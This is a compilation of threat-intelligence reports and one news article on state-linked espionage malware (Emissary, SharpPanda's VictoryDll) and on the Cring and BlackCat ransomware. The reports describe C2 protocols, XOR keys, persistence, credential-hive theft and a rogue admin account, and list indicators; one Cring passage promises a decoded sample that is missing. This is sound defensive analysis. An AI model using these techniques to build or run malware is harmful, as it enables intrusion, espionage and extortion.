The loader Trojan named “ishelp.dll” had an original name of “Loader.dll”, which will extract the Emissary payload from a resource named “asdasdasdasdsad” and write it to a file named “A08E81B411.DAT”. The loader will then write an embedded configuration to a file named “75BD50EC.DAT”. The loader Trojan creates a mutex named “_MICROSOFT_LOADER_MUTEX_” and finishes by injecting the Emissary DLL in “A08E81B411.DAT” into a newly spawned Internet Explorer process.
The Emissary Trojan runs within the Internet Explorer process. It begins by reading and decrypting its configuration file, which has the following structure:
```
struct emissary_config {
WORD emissary_version_major;
WORD emissary_version_minor;
CHAR[36] GUID_for_sample;
WORD Unknown1;
CHAR[128] Server1;
CHAR[128] Server2;
CHAR[128] Server3;
CHAR[128] CampaignName;
CHAR[550] Unknown2;
WORD Delay_interval_seconds;
};
```
We decrypted and parsed the configuration file that accompanied the payload used in this attack, which resulted in the following settings:
- Version: 5.3
- GUID: ba87c1c5-f71c-4a8b-b511-07aa113d9103
- C2 Server 1: http://ustar5.PassAs[.]us/default.aspx
- C2 Server 2: http://203.124.14.229/default.aspx
- C2 Server 3: http://dnt5b.myfw[.]us/default.aspx
- Campaign Code: UPG-ZHG-01
- Sleep Delay: 300
After decrypting the configuration file, Emissary interacts with its command and control (C2) servers using HTTP or HTTPS, depending on the protocol specified in the configuration file. The initial network beacon sent from Emissary to its C2 server includes a Cookie field that contains a “GUID”, “op” and “SHO” field. The GUID field is a unique identifier for the compromised system that is obtained directly from the configuration file. The op field has a value of “101”, which is a static value that represents the initial network beacon. The SHO field contains the external IP address of the infected system, which Emissary obtains from a legitimate website “showip.net”, specifically parsing the website’s response for ‘<input id=”checkip” type=”text” name=”check_ip” value=’, which contains the IP address of the system.
The C2 server response to this beacon will contain a header field called “Set-Cookie”, which contains a value of “SID”. The SID value is base64 encoded and encrypted using a rolling XOR algorithm, which once decoded and decrypted contains a 36-character GUID value. The Emissary Trojan will use this GUID value provided by the C2 server as an encryption key that it will use to encrypt data sent in subsequent network communications.
The C2 server provides commands to the Trojan as a three-digit numeric string within the data portion of the HTTP response (in the form of “op=<command>”), which the Emissary Trojan will decrypt and compare to a list of commands within its command handler. The command handler function within the Emissary Trojan supports six commands, as seen in Table 2.
| Command | Description |
| --- | --- |
| 102 | Upload a file to the C2 server. |
| 103 | Executes a specified command. |
| 104 | Download file from the C2 server. |
| 105 | Update configuration file. |
| 106 | Create a remote shell. |
| 107 | Updates the Trojan with a new executable. |
If the command issued from the C2 server does not match the one listed, the Trojan saves the message “unknown:%s” to the log file. The command set available within Emissary allows the threat actors backdoor access to a compromised system. Using this access, the threat actors can exfiltrate data and carry out further activities on the system, including interacting directly with the system’s command shell and downloading and executing additional tools for further functionality.
## Threat Infrastructure
The infrastructure associated with the Emissary C2 servers used in this attack includes ustar5.PassAs[.]us, 203.124.14.229, and dnt5b.myfw[.]us. The infrastructure is rather isolated as the only overlap in domains includes appletree.onthenetas[.]com. The overlap involves two IP addresses that during the same time frame resolved both the appletree.onthenetas[.]com domain and the Emissary C2 domain of ustar5.PassAs[.]us. The other C2 domain used by this Emissary payload, specifically dnt5b.myfw[.]us, currently resolves to the 127.0.0.1. This provides another glimpse into TTPs for these threat actors, as it suggests that the threat actors set the secondary C2 domains to resolve to the localhost IP address to avoid network detection and change this to a routable IP address when they need the C2 server operational. Additionally, while this infrastructure does not overlap with that used in Operation Lotus Blossom, that also fits with the TTPs. In each case, the threat actors used separate infrastructure for different targets, another way to help avoid detection.
## Conclusion
APT threat actors, most likely nation state-sponsored, targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan. It is entirely possible the diplomat was truly invited to the conference, or at least would not have been surprised by the invitation, adding to the likelihood the attachment would have been opened. The actors were attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan, specifically version 5.3.
The Emissary Trojan is related to the Elise malware used in Operation Lotus Blossom, which was an attack campaign on targets in Southeast Asia, in many cases also with official looking decoy documents that do not appear to have been available online. Additionally, the targeting of a French diplomat based in Taipei, Taiwan aligns with previous targeting by these actors, as does the separate infrastructure. Based on the targeting and lures, Unit 42 assesses that the threat actors’ collection requirements not only include militaries and government agencies in Southeast Asia, but also nations involved in diplomatic and trade agreements with them.
## Indicators
### Related Hashes
- 748feae269d561d80563eae551ef7bfd - 書面報名表格.doc
- 9fd6f702763a9840bd1b3a898eb9c62d - 蔡英文柯建銘全國科技後援會邀請函.doc
- 06f1d2be5e981dee056c231d184db908 - ishelp.dll
- 6278fc8c7bf14514353797b229d562e8 - A08E81B411.DAT
- e9f51a4e835929e513c3f30299567abc - 75BD50EC.DAT
### Command and Control
- 203.124.14.229
- ustar5.PassAs[.]us
- appletree.onthenetas[.]com
- dnt5b.myfw[.]us |
# Chinese hackers 'breach Australian media organisations' ahead of G20
**Dylan Welch**
November 13, 2014
Chinese hackers are attempting to steal questions from reporters ahead of Xi Jinping's visit, a cyber security expert says. A Chinese hacking group believed to be affiliated with the Chinese government has penetrated Australian media organisations ahead of this weekend's G20 meeting, a global cyber security expert says.
"We started to see activity over the last couple of weeks targeting Australian media organisations and we believe that's related to the G20," Dmitri Alperovitch, co-founder of US computer security company CrowdStrike, told the ABC's 7.30 program. CrowdStrike has named the group "Deep Panda". It is the same group that was outed as sneaking into the networks of US foreign policy think tanks at the height of the Iraq crisis in the middle of the year.
"[They] typically go after very strategic interests for the Chinese government," he said. Now Deep Panda is targeting Australian media organisations in an attempt to understand the domestic media climate when Chinese president Xi Jinping arrives.
Mr Alperovitch said he could not name the media organisations targeted because of confidentiality reasons. "[They're looking for] questions they can expect from Australian reporters, what type of coverage, positive or negative, they can expect to see," Mr Alperovitch said.
Mr Alperovitch also identified another Chinese-government-linked hacking group, which he said was responsible for attacks against commercial and government networks in Australia. Called Vixen Panda, the group has a long track record in Australia. "Out of all the groups that we track from China... Vixen Panda is the one with the most focus on Australia," he said.
Based on his research, Mr Alperovitch said he believed Vixen Panda was actually a Beijing-based military unit within the People's Liberation Army's Third Department. The Third Department, or 3PLA as it is known, is China's version of the US National Security Agency (NSA) or the Australian Signals Directorate. "You have a unit of the Chinese military conducting espionage against Australian Government... and the information that they're stealing is being passed on through the military chain to the leadership of the Chinese government," he said. |
# Cring Ransomware Group Exploits Ancient ColdFusion Server
**Andrew Brandt**
**September 21, 2021**
In an attack recently investigated by Sophos, an unknown threat actor exploited an ancient vulnerability in an 11-year-old installation of Adobe ColdFusion 9 to take control of the ColdFusion server remotely, then to execute ransomware known as Cring on the server, and against other machines on the target’s network. While several other machines were “bricked” by the ransomware, the server hosting ColdFusion was partially recoverable, and Sophos was able to pull evidence in the form of logs and files from the machine.
The server running ColdFusion was operating on Windows Server 2008, which Microsoft end-of-lifed in January 2020. Adobe declared end-of-life for ColdFusion 9 in 2016. As a result, neither the operating system nor the ColdFusion software could be patched. The incident serves as a stark reminder that IT administrators cannot leave out-of-date critical business systems facing the public internet.
Despite the age of the software and the server, the attacker used fairly sophisticated techniques to conceal their files, inject code into memory, and cover their tracks by deleting logs and other artifacts that could be used in an investigation.
## Rapid Break-in
The attack began over the Web. Logs from the server indicate that an attacker, using an internet address assigned to Ukrainian ISP Green Floid, began scanning the target’s website just before 10 am local time, using an automated tool to try to browse to more than 9000 paths on the target’s website in just 76 seconds. The scans revealed that the web server was hosting valid files and URI paths specific to ColdFusion installations, such as `/admin.cfm`, `/login.cfm`, and `/CFIDE/Administrator/`.
Scans by the threat actor revealed they found these web server pages used by ColdFusion. Three minutes later, the attacker took advantage of CVE-2010-2861, a directory traversal vulnerability in ColdFusion that permits a remote user to retrieve files from web server directories that aren’t supposed to be available to the public. In this case, they retrieved a file called `password.properties` from the server.
Next, the attacker appears to have exploited another vulnerability in ColdFusion, CVE-2009-3960, which permits a remote attacker to inject data through an abuse of ColdFusion’s XML handling protocols. This permitted the attacker to upload a file to the ColdFusion server by performing an HTTP POST to the `/flex2gateway/amf` path on the server. That file may have been web shell code, designed to pass parameters directly to the Windows command shell, which was recovered from the server inside of a Cascading Stylesheet (CSS) file.
The attacker wrote out the web shell, encoded in base64, from `c:\windows\temp\csa.log` to `E:\cf9_final\cfusion\wwwroot\CFIDE\cfa.css`. They then attempted to use the web shell to load a Cobalt Strike beacon executable onto the server. Using the beacon, they afterward overwrote the file that contained the web shell, deliberately writing garbled data over the files to hinder any future investigation.
## Wait a While, Then Come Back
Roughly 62 hours later, just before midnight on a Saturday night/Sunday morning, the attackers returned. Using the beacon to upload files and execute commands on the now-compromised server, the attackers dropped several files into `C:\ProgramData\{58AB9DC8-D2E9-170E-542F-894CCE6D0282}\` and then created a Scheduled Task that used the Windows Script Host `wscript.exe` to execute the file while passing it a hexadecimal-encoded set of parameters. The parameters, decoded into plain text, look like this:
The `-IsErIK` function takes the command and captures an additional script, decrypts it, and then runs the newly-downloaded script in memory. The simplicity of the persistent loader, and the persistence mechanism itself (running as a scheduled task) points to a sophisticated level of operational security.
A few hours later, they placed a second web shell in the ColdFusion `/CFIDE/` directory named `cfiut.cfm`, which they then used to export a number of Registry hives, which they wrote out to files with a `.png` extension, and placed into a publicly-accessible location in the ColdFusion web server path. The hives they exported – `HKLM\SAM`, `HKLM\Security`, and `HKLM\System` – can be used to harvest credentials at the attacker’s leisure. The attacker could then browse to the file location and download the not-.PNG files, which they immediately did, then deleted using the web shell.
Roughly five hours later, the attackers returned and used WMIC to invoke PowerShell to download a file named `01.css` and `02.css` from an IP address that geolocates to Belarus. The attackers also created a user account named `agent$` with a password of `P@ssw0rd`, and gave it admin permissions.
After another four-hour break, the attackers began executing commands that profiled the system, gave themselves Domain Admin privileges, and then executed remote commands on other servers using those Domain Admin credentials, including dropping the Cobalt Strike beacon onto other machines. Once these behaviors began to get blocked by security technologies, the attackers targeted the products. While the attempt to load the beacon was stopped by Sophos, the attacker then turned their attention to using the web shell to execute commands that disabled both the Sophos endpoint protection (the Tamper Protection setting was not enabled on this machine) and Windows Defender.
After disabling the Sophos protection, the attackers determined that the server was hosting a hypervisor and discovered several VM disk files on the machine. They executed a command to halt and shut down the VMs.
Finally, at about 79 hours after the initial breach of the ColdFusion server, the attacker delivered a ransomware executable named `msp.exe`, which ran, encrypting the system and the folders containing the virtual machine disk images. The attackers deleted the Volume Shadow Copies, cleared the Event Logs afterward, and re-enabled the Sophos security products they had previously disabled. The ransom note appears on the Windows login screen, as a “message of the day” rather than just as a text file on the desktop.
## Detection and Guidance
Sophos endpoint products will detect the ransomware executable (unique to this target) as `Troj/Ransom-GKG`, the Cobalt Strike beacons as `AMSI/Cobalt-A`, the web shell as `Troj/BckDr-RXU`, and the PowerShell commands used to load the beacons will be detected as `Troj/PS-IM`. Behavioral detections such as `Exec_27a` (Mitre ATT&CK T1059.001) and Dynamic Shellcode Protection (HeapHeapProtect) intercept the majority of the malicious activities. As many of the components of the attack were fileless or specific to this particular victim, SophosLabs will not be publishing additional IOCs relating to this incident.
## Acknowledgments
SophosLabs wishes to acknowledge the work of Senior Rapid Response analyst Vikas Singh, and of Labs analysts Shefali Gupta, Krisztián Diriczi, and Chaitanya Ghorpade for their help with analysis of the attack components. |
# SharpPanda: Chinese APT Group Targets Southeast Asian Government With Previously Unknown Backdoor
**June 3, 2021**
## Introduction
Check Point Research identified an ongoing surveillance operation targeting a Southeast Asian government. The attackers use spear-phishing to gain initial access and leverage old Microsoft Office vulnerabilities together with a chain of in-memory loaders to attempt to install a previously unknown backdoor on victims' machines. Our investigation shows the operation was carried out by what we believe is a Chinese APT group that has been testing and refining the tools in its arsenal for at least three years. While some initial artifacts of this attack have already been analyzed by VinCSS, in this report we will reveal the full infection chain used in this attack and provide a full analysis of the TTPs used throughout this campaign as well as the new tools uncovered during the research. We will also explore the evolution of the actor’s tools since they have been first seen in the wild.
## Infection Chain
The investigation starts from the campaign of malicious DOCX documents that are sent to different employees of a government entity in Southeast Asia. In some cases, the emails are spoofed to look like they were from other government-related entities. The attachments to these emails are weaponized copies of legitimate-looking official documents and use the remote template technique to pull the next stage from the attacker’s server.
Each document downloads a template from a different URL but with a similar pattern, with the working folder containing names of brands (iPad, Surface, Apple, etc.) to distinguish between each victim.
The remote templates in all cases are RTF files weaponized using a variant of a tool named RoyalRoad. This tool allows the attacker to create customized documents with embedded objects that exploit the Equation Editor vulnerabilities of Microsoft Word. Despite the fact that these vulnerabilities are a few years old, they are still used by multiple attack groups, and especially popular with Chinese APT groups. The initial documents and RTF files are just the very start of an elaborate multi-stage infection chain we will analyze.
### RoyalRoad RTF
As all RoyalRoad RTFs, the next stage RTF document contains encrypted payload and shellcode. To decrypt the payload from the package, the attacker uses the RC4 algorithm with the key `123456`, and the resulted DLL file is saved as `5.t` in the `%Temp%` folder. The shellcode is also responsible for the persistence mechanism – it creates the scheduled task named `Windows Update` that should run the exported function `StartW` from `5.t` with `rundll32.exe`, once a day. The use of `StartW` as an exported function is common with Cobalt Strike DLLs. The use of such an export name might indicate that in other cases, the same toolset is used to deliver Cobalt Strike instead of the payloads we describe below.
### 5.t Downloader
The `5.t` DLL’s original name is `Download.dll`. It starts with a common anti-sandboxing technique detecting the acceleration of code execution: it gets the local time before and after a Sleep function call and checks if the Sleep was skipped. Then the loader gathers data on the victim’s computer including hostname, OS name and version, system type (32/64 bit), user name, MAC addresses of the networking adapters. It also queries WMI for the anti-virus information. The loader then encrypts the information using the RC4 with the key `123456` and base64 encodes it. The data is then sent via GET HTTP to `https://<C&C IP>/<working_folder>/Main.php?Data=<encrypted_data>` with the User-Agent `Microsoft Internet Explorer` and then the loader gets the response from `https://<C&C IP>/<working_folder>/buy/<hostname>.html`. If the threat actor finds the victim machine interesting, the response from the server contains the next stage executable in encrypted form, in the same way the data is sent to the C&C server. To verify the integrity of the received message, the loader uses the FNV-1A64 hash algorithm to check if the prefix of the decrypted message is `A257`, and also calculates the MD5 of the message to make sure it’s the same one as specified at the start of the message.
In the end, the loader loads the decrypted DLL to memory, starts its execution from the `StartW` export function and notifies the server about the result of the operation.
### The Loader
To ensure only one instance of the loader is running, the loader first creates an event named `9DJ8;;L;'4299FDS12JS` and proceeds with the execution if the event did not exist before. For anti-analysis purposes, the loader functionality is implemented as a shellcode, which is stored encrypted inside the binary. The loader decrypts the shellcode by XORing it with the 32-byte key:
```
[0x8a, 0x4e, 0xd1, 0xbb, 0xc4, 0xcc, 0x75, 0x3a, 0x4b, 0x5f, 0xe1, 0x99, 0x3a, 0x4b, 0x5f, 0x61, 0xd1, 0xbb,
0xc4, 0x50, 0xe4, 0x99, 0x3a, 0x4b, 0xe4, 0x99, 0xcc, 0x75, 0x3a, 0xe4, 0x90, 0x8a]
```
Then it loads the needed libraries and passes the execution to the shellcode itself. Another anti-analysis technique observed being used by the shellcode inside the loader is dynamic API resolving using the known hash method. This way, the loader is able to not only hide its main functionality but also avoid static detection of suspicious API calls by dynamically resolving them instead of using static imports. The decrypted shellcode contains a configuration that is used to obtain and correctly run the next stage. It includes the C&C server IP and port, as well as some other values that we will discuss later.
Once initialized, the shellcode sends the `CONNECT HTTP/1.1` message to the IP:port from the configuration and follows up with another message containing the identifier (in our case `admin`) XORed with a hardcoded 48-byte key. The received message is decrypted in the same way and the shellcode checks if it starts with the magic number: `0x11d4`. If the server returns valid data, the loader runs several checks on its PE headers, loads the backdoor to memory and executes an exported function named `MainThread`. The loader DLL also contains a PE executable in a resource named `TXT`. The executable is named `SurvExe` based on the PDB path left by the attacker: `C:\Users\user\Desktop\0814-surexe\x64\SurvExe\x64\Release\SurvExe.pdb`. This executable is supposed to be responsible for copying the file passed to it as a parameter to the `TEMP` directory with the name `OEJFISDOFJDLK`. However, the resource is not used and seems to have been left by the attacker from previous malware versions.
### The Backdoor
As we discussed before, at the final stage of the infection chain the malicious loader is supposed to download, decrypt and load a DLL file into memory. In theory, this plug-in architecture might be used to download and install any other module in addition to the backdoor we received. The backdoor module appears to be a custom and unique malware with the internal name `VictoryDll_x86.dll`. The backdoor capabilities include the ability to:
- Delete/Create/Rename/Read/Write Files and get file attributes
- Get processes and services information
- Get screenshots
- Pipe Read/Write – run commands through cmd.exe
- Create/Terminate Process
- Get TCP/UDP tables
- Get CDROM drives data
- Get registry keys info
- Get titles of all top-level windows
- Get victim’s computer information – computer name, user name, gateway address, adapter data, Windows version (major/minor version and build number) and type of user
- Shutdown PC
### C&C Communication
For the C&C communication, the backdoor uses the same configuration as the one from the previous step, which contains server IP and port. First, it sends to the server “Start conversation” (`0x540`) message XORed with hard-coded 256-byte key. The server, in turn, returns the “Get Victim Information” (`0x541`) message and the new 256-byte key that will be used for all the subsequent communication. All the subsequent communication with the C&C server has the following format: `[Size]` followed by XORed `[TypeID]` and `[Data]` (with 256-byte key). The full list of commands and different types of messages between the C&C and the backdoor is provided in Appendix A.
## Some History
Searching for files similar to the final backdoor in the wild, we encountered a set of files that were submitted to VirusTotal in 2018. The files were named by the author as `MClient` and appear to be part of a project internally called `SharpM`, according to their PDB paths. Compilation timestamps also show a similar timeframe between July 2017 and June 2018, and upon examination of the files, they were found to be older test versions of our `VictoryDll` backdoor and its loaders chain. The numerous similarities include:
- The specific implementation of the main backdoor functionality is identical.
- The `SurvExe` resource in the loader is very similar to one of the `MClient`’s methods using the same event name pattern. Also, `SurvExe` seems to have inherited the masquerading technique from `MClient` – both were internally named `svchost.exe`.
The connection method has the same format. Moreover, `MClient`’s connection XOR key and `VictoryDll`’s initial XOR key are the same (in fact, `VictoryDll`’s XOR key is the expansion of this key to 256 bytes).
`MClient` contained an additional DLL called `AutoStartup_DLL`, whose purpose was to create the scheduled task called `Windows Update` – a functionality which in our campaign was delegated to the RTF exploit.
### Same but Different
The backdoor has also undergone some changes in the architecture, functionality and naming:
- Different export function names: in our backdoor, the exported function is named `MainThread` while in all versions of the `MClient` variant the export function was named `GetCPUID`.
- Same configuration fields, but different obfuscation used. In the later version, the configuration is a part of the encrypted shellcode inside the loader, whereas in `MClient` the configuration is hardcoded in the backdoor XORed with the byte `0x56` or, in some test versions, not obfuscated at all.
- `MClient` has an additional persistence mechanism besides the scheduled task that `VictoryDll` has in its infection chain: in case of low privileges, on Windows 10, or having Kaspersky installed on the victim’s computer, `MClient` adds itself to `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` registry with the name `Intel USB3 Driver`.
- `MClient` versions from 2018 contain the code that bypasses UAC using exe. In `VictoryDll` this function doesn’t exist anymore; instead of that, the code only tries to get the user’s privileges by attempting to open the file `C:\Windows\l` and checking the result of this operation.
- The `MClient` version from January 2018 also contained a keylogger functionality which has since been removed in the subsequent test versions and not present in `VictoryDll`.
Overall, we can see that in these three years, most of the functionality of `MClient` and `AutoStartup_DLL` was preserved and split between multiple components – probably to complicate the analysis and decrease the detection rates at each stage. We may also assume that there exist other modules based on the code from 2018 that might be installed by the attacker in the later stages of the attack.
## Infrastructure
First stage C&C servers are hosted by two different cloud services, located in Asia (Hong Kong and Malaysia). The backdoor C&C server, `107.148.165[.]151`, is hosted on Zenlayer, a US-based provider which is widely used for C&C purposes by multiple threat actors. The threat actor operates the C&C servers in a limited daily window, making it harder to gain access to the advanced parts of the infection chain. Specifically, it returned the next stage payloads only during 01:00 – 08:00 UTC on workdays. At some point in the research, one of the attacker’s servers that served the loader component had directory listing enabled for a limited time. In addition to that, the `Main.php` file was served without processing and revealed a piece of PHP code whose purpose was to log all the incoming requests with the date, IP address and decrypted data to `log.txt`.
## Attribution
We attribute this cluster of activity to a Chinese threat group with medium to high confidence, based on the following artifacts and indicators:
- The RoyalRoad RTF exploit building kit mentioned above has been reported by numerous researchers as a tool of choice among Chinese APT groups.
- The C&C servers returned payloads only between 01:00 – 08:00 UTC, which we believe are the working hours in the attackers’ country, therefore the range of possible origins of this attack is limited.
- The C&C servers did not return any payload (even during working hours), specifically the period between May 1st and 5th – this was when the Labor Day holidays in China took place.
- Some test versions of the backdoor contained internet connectivity check with www.baidu.com – a leading Chinese website.
- Some test versions of the backdoor from 2018 were uploaded to VirusTotal from China.
While we could identify overlaps in TTPs with multiple Chinese APT groups, we have been unable to attribute this set of activities to any known group.
## Conclusion
We unveiled the latest activity of what seems to be a long-running Chinese operation that managed to stay under the radar for more than three years. In this campaign, the attackers utilized a set of Microsoft Office exploits and loaders with anti-analysis and anti-debugging techniques to install a previously unknown backdoor. Analyzing the backdoor’s code evolution since its first appearance in the wild showed how it transformed from a single executable to a multi-stage attack, making it harder to detect and investigate. Check Point Threat Emulation blocks this attack from the very first step.
## Appendix A: Backdoor Commands
| Message Type | Type ID | Arguments | Source |
|--------------|---------|-----------|--------|
| Send victim’s information | 0x2 | Info | Victim |
| CDROM drives data | 0x4 | – / Drives data | Both |
| Get Files data | 0x5/0x6 | Path / Files data | Both |
| Create Process | 0x7 | Command Line | C&C server |
| Rename File | 0x8 | Old filename, New filename | C&C server |
| Delete File | 0x9 | Filename | C&C server |
| Read File | 0xa | Filename, Offset / File’s content | Both |
| Exit Pipe | 0xb | – | C&C server |
| Create Pipe | 0xc | – | C&C server |
| Write To Pipe | 0xd | Buffer | C&C server |
| Get Uninstalled software data | 0xe | – / Software data | Both |
| Get windows text | 0xf | – / Windows text | Both |
| Get active processes data | 0x10 | – / Processes data | Both |
| Terminate Process | 0x11 | Process ID | C&C server |
| Get screenshot | 0x12/0x13 | – / Screenshot temp file | Both |
| Get services data | 0x14 | – / Services data | Both |
| Get TCP/UDP tables | 0x15 | – / Tables data | Both |
| Get registry key data | 0x16 | Registry path / Reg data | Both |
| Shutdown | 0x17 | – | C&C server |
| Exit process | 0x18 | – | C&C server |
| Restart current process | 0x19 | – | C&C server |
| Write to file | 0x4C7 | Filename, Buffer | C&C server |
| Start Connection | 0x540 | Zero Byte | Victim |
| Get victim’s information/Update XOR key | 0x541 | New XOR key / Victim’s info | Both |
| None | 0x120E | – | C&C server |
| Ack | 0x129D3 | Name (‘admin’ in our case) | Victim |
## Appendix B: Indicators of Compromise
**Documents**
- 278c4fc89f8e921bc6c7d015e3445a1cc6319a66
- 42be0232970d5274c5278de77d172b7594ff6755
- f9d958c537b097d45b4fca83048567a52bb597bf
- fefec06620f2ef48f24b2106a246813c1b5258f4
- 548bbf4b79eb5a173741e43aa4ba17b92be8ed3a
- 417e4274771a9614d49493157761c12e54060588
**Executables**
- 03a57262a2f3563cf0faef5cde5656da437d58ce 5.t
- 388b7130700dcc45a052b8cd447d1eb76c9c2c54 5.t
- 176a0468dd70abe199483f1af287e5c5e2179b8c 5.t
- 01e1913b1471e7a1d332bfc8b1e54b88350cb8ad loader
- 8bad3d47b2fc53dc6f9e48debac9533937c32609 ServExe (x64)
- 0a588f02e60de547969d000968a458dcdc341312 VictoryDll
**C&C servers**
- 45.91.225[.]139
- 107.148.165[.]151
- 45.121.146[.]88
**Old backdoor versions**
- MClient:
- aa5458bdfefe2a97611bb0fd9cf155a06f88ef5d
- 4da26e656ef5554fac83d1e02105fad0d1bd7979
- f8088c15f9ea2a1e167d5fa24b65ec356939ba91
- 0726e56885478357de3dce13efff40bfba53ddc2
- 7855a30e933e2b5c3db3661075c065af2e40b94e
- 696a4df81337e7ecd0ea01ae92d8af3d13855c12
- abaaab07985add1771da0c086553fef3974cf742
- 7a38ae6df845def6f28a4826290f1726772b247e
- Autostart_DLL:
- e16b08947cc772edf36d97403276b14a5ac966d0
- c81ba6c37bc5c9b2cacf0dc53b3105329e6c2ecc
- a96dfbad7d02b7c0e4a0244df30e11f6f6370dde
- 6f5315f9dd0db860c18018a961f7929bec642918
## Appendix C: MITRE ATT&CK Matrix
| Tactic | Technique | Technique Name |
|--------|-----------|----------------|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1204.002 | User Execution: Malicious File |
| | T1203 | Exploitation for Client Execution |
| | T1059.003 | Execution Command and Scripting Interpreter: Windows Command Shell |
| Persistence | T1053 | Scheduled Task/Job |
| Defense Evasion | T1027 | Obfuscated Files or Information |
| | T1221 | Template Injection |
| Discovery | T1082 | System Information Discovery |
| | T1518 | Software Discovery |
| | T1057 | Process Discovery |
| | T1012 | Query Registry |
| | T1007 | System Service discovery |
| | T1081 | File and Directory Discovery |
| | T1010 | Application Window Discovery |
| Collection | T1113 | Screen Capture |
| | T1005 | Data from Local System |
| Command and Control | T1132 | Data Encoding |
| | T1104 | Multi-Stage Channels |
| | T1071.001 | Application Layer Protocol: Web Protocols |
| | T1573.001 | Encrypted Channel: Symmetric Cryptography |
| Exfiltration | T1041 | Exfiltration Over C2 Channel |
| Impact | T1529 | System Shutdown/Reboot | |
# BlackCat Ransomware (ALPHV)
Following news that members of the infamous ‘big-game hunter’ ransomware group REvil have been arrested by Russian law enforcement, effectively dismantling the group and their operations, it is likely that the group’s affiliates will migrate to other ransomware-as-a-service (RaaS) providers. Varonis Threat Labs has observed one such RaaS provider, ALPHV (aka BlackCat ransomware), gaining traction since late 2021, actively recruiting new affiliates and targeting organizations across multiple sectors worldwide.
## Key Takeaways
- The group is actively recruiting ex-REvil, BlackMatter, and DarkSide operators.
- Increased activity since November 2021.
- Lucrative affiliate pay-outs (up to 90%).
- Rust-based ransomware executable (fast, cross-platform, heavily customized per victim).
- AES encryption by default.
- Built-in privilege escalation (UAC bypass, Masquerade_PEB, CVE-2016-0099).
- Can propagate to remote hosts via PsExec.
- Deletes shadow copies using VSS Admin.
- Stops VMware ESXi virtual machines and deletes snapshots.
The group’s leak site, active since early December 2021, has named over twenty victim organizations as of late January 2022, though the total number of victims, including those that have paid a ransom to avoid exposure, is likely greater. This article seeks to provide an overview of this emerging ransomware threat, detailing both the Linux and Windows variants of their encryption tool.
## Background
First observed in November 2021, ALPHV, also known as ALPHV-ng, BlackCat, and Noberus, is a ransomware-as-a-service (RaaS) threat that targets organizations across multiple sectors worldwide using the triple-extortion tactic. Building upon the common double-extortion tactic in which sensitive data is stolen prior to encryption and the victim threatened with its public release, triple-extortion adds the threat of a distributed denial-of-service (DDoS) attack if the ransomware group’s demands aren’t met. Demonstrating prior experience in this threat space, such as the use of proven big-game hunter tactics, techniques, and procedures (TTP) and the apparent recent success, this threat was likely created by a former ransomware group member rather than a newcomer. Some cybercrime forum users have commented that ALPHV may even be an evolution or rebranding of BlackMatter, itself a ‘spin-off’ or successor of REvil and DarkSide.
Previously advertised on Russian-language cybercrime forums, affiliates are enticed to join the group with returns of up to ninety percent of any ransom collected. Working with these new affiliates, the initial intrusion of a victim network will likely use tried-and-tested techniques, such as the exploitation of common vulnerabilities in network infrastructure devices like VPN gateways and credential misuse via exposed remote desktop protocol (RDP) hosts. Subsequently, those conducting ALPHV attacks have been observed using PowerShell to modify Windows Defender security settings throughout the victim network as well as launching the ransomware binary, an interactive process, on multiple hosts using PsExec.
## Ransomware
Having gained initial access to a victim network, the group will conduct reconnaissance and lateral movement phases in which sensitive and valuable data will be identified for exfiltration and later encryption. Utilizing their own ransomware executable, created afresh rather than being based on some existing threat, the threat actor will build a victim-specific threat that takes into account elements such as encryption performance, perhaps electing to only encrypt parts of large files, as well as embedded victim credentials to allow automated propagation of the ransomware payload to other servers.
Unlike many other ransomware threats, ALPHV was developed using Rust, a programming language known for its fast performance and cross-platform capabilities, leading to both Linux and Windows variants being observed throughout December 2021 and January 2022. While many suggest that ALPHV could be the first ‘in-the-wild’ ransomware threat using this language, a Rust ransomware proof-of-concept was published on GitHub in June 2020, albeit there is nothing to suggest that the two are in any way related. Notably, the use of Rust, amongst other modern languages including Golang and Nim, appears to be a growing trend amongst cybercrime threat actors over the past year or two.
In addition to creating new cross-platform and high-performance threats, some threat actors have also taken to rewriting their older threats likely to evade detection and thwart analysis, as seen with the updated ‘Buer’ downloader dubbed ‘RustyBuer’. Analysis of ALPHV samples collected recently indicates that the development process likely took place during early-to-mid November 2021 given the release history of Rust ‘crates’ (programming libraries) used. Specifically, recently observed ALPHV samples utilize ‘Zeroize’ version 1.4.3 which was not released until November 4, 2021, whilst also using public key cryptography versions that were superseded by versions released on November 16 and 17, 2021. The use of Zeroize, a library that securely clears secrets from memory, appears to be a deliberate attempt to prevent encryption secrets from being recovered from a compromised host.
## Configuration
Each victim-specific ALPHV ransomware binary has an embedded JSON data structure that contains a tailored configuration taking into account the threat actor’s knowledge of the victim network.
### Configuration Options
| Configuration Option | Description |
|-------------------------------|-------------|
| config_id | Not set in recently observed samples. |
| public_key | Victim-specific RSA public key used to secure the encryption key. |
| extension | Victim-specific extension appended to encrypted files, a seemingly randomly generated string of seven lowercase alphanumeric characters. |
| note_file_name | Ransom note filename, set to ‘RECOVER-${EXTENSION}-FILES.txt’ in recently observed samples. |
| note_full_text | Ransom note text, consistent across recently observed samples with a victim-specific Tor onion address used for negotiations. |
| note_short_text | Windows desktop wallpaper text directing the victim to the ransom note, consistent across recently observed samples. |
| default_file_mode | Typically set to ‘Auto’ although two ‘SmartPattern’ values have been observed that result in a specified number of megabytes of each file being encrypted in steps of ten. |
| default_file_cipher | Set to ‘Best’ in all recently observed samples, attempts to use AES encryption first and falls back to ChaCha20. |
| credentials | Victim-specific, and likely used for propagation. Both domain and local administrator credentials have been observed in some samples. |
| kill_services | Typical list of common Windows services related to applications, backup utilities, security solutions, and servers with some victim-specific services observed in recent samples. |
| kill_processes | Typical list of common Windows processes related to applications, backup utilities, security solutions, and servers with victim-specific processes observed in recent samples. |
| exclude_directory_names | Typical list of Windows system directories to ensure that the host remains stable post-encryption. |
| exclude_file_names | Typical list of Windows system files to ensure the host remains stable post-encryption. |
| exclude_file_extensions | Typical list of Windows system file extensions to ensure the host remains stable post-encryption. |
| exclude_file_path_wildcard | Not set in recently observed samples, excludes specified file paths from the encryption process on a per-host/victim basis. |
| enable_network_discovery | Boolean value, set to ‘true’ in recently observed samples enabling network discovery via NetBIOS/SMB in search of other hosts to encrypt. |
| enable_self_propagation | Boolean value, mixed configurations observed in recent samples suggest this is configured on a per-host/victim basis. |
